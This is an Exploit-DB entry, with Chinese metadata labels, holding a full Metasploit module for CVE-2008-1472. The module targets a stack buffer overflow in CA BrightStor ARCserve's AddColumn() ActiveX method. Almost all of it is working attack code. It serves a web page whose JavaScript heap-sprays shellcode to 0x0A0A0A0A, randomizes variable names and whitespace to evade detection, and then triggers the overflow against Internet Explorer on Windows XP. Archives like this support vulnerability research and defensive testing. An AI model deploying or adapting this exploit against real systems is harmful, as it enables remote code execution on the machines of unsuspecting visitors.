标题: CA BrightStor ARCserve Backup - 'AddColumn()' ActiveX Buffer Overflow (Metasploit) EDB-ID: 16577 CVE: 2008-1472 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: ca_brightstor_addcolumn.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
   'Description'    => %q{
     The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
    buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
    could overflow a buffer and execute arbitrary code on the system.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2008-1472' ],
     [ 'OSVDB', '43214' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
    ],
   'DisclosureDate' => 'Mar 16 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops.
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names.
  vname  = rand_text_alpha(rand(30) + 1)
  var_i  = rand_text_alpha(rand(5) + 1)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)

  content = %Q|
  <html>
  <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
   <script>

   var #{rand1} = unescape("#{shellcode}");
   var #{rand2} = 0x0A0A0A0A;
   var #{rand3} = 0x400000;
   var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
   var #{rand5} = unescape("#{ret}");
   var #{rand6} = 128;

   while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
    #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
    #{rand7} = new Array();
    for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
     while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
      #{rand5} = #{rand5}.substring(0, #{rand6});

      #{vname}.AddColumn(#{rand5}, 1);
   </script>
  </html>
   |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16577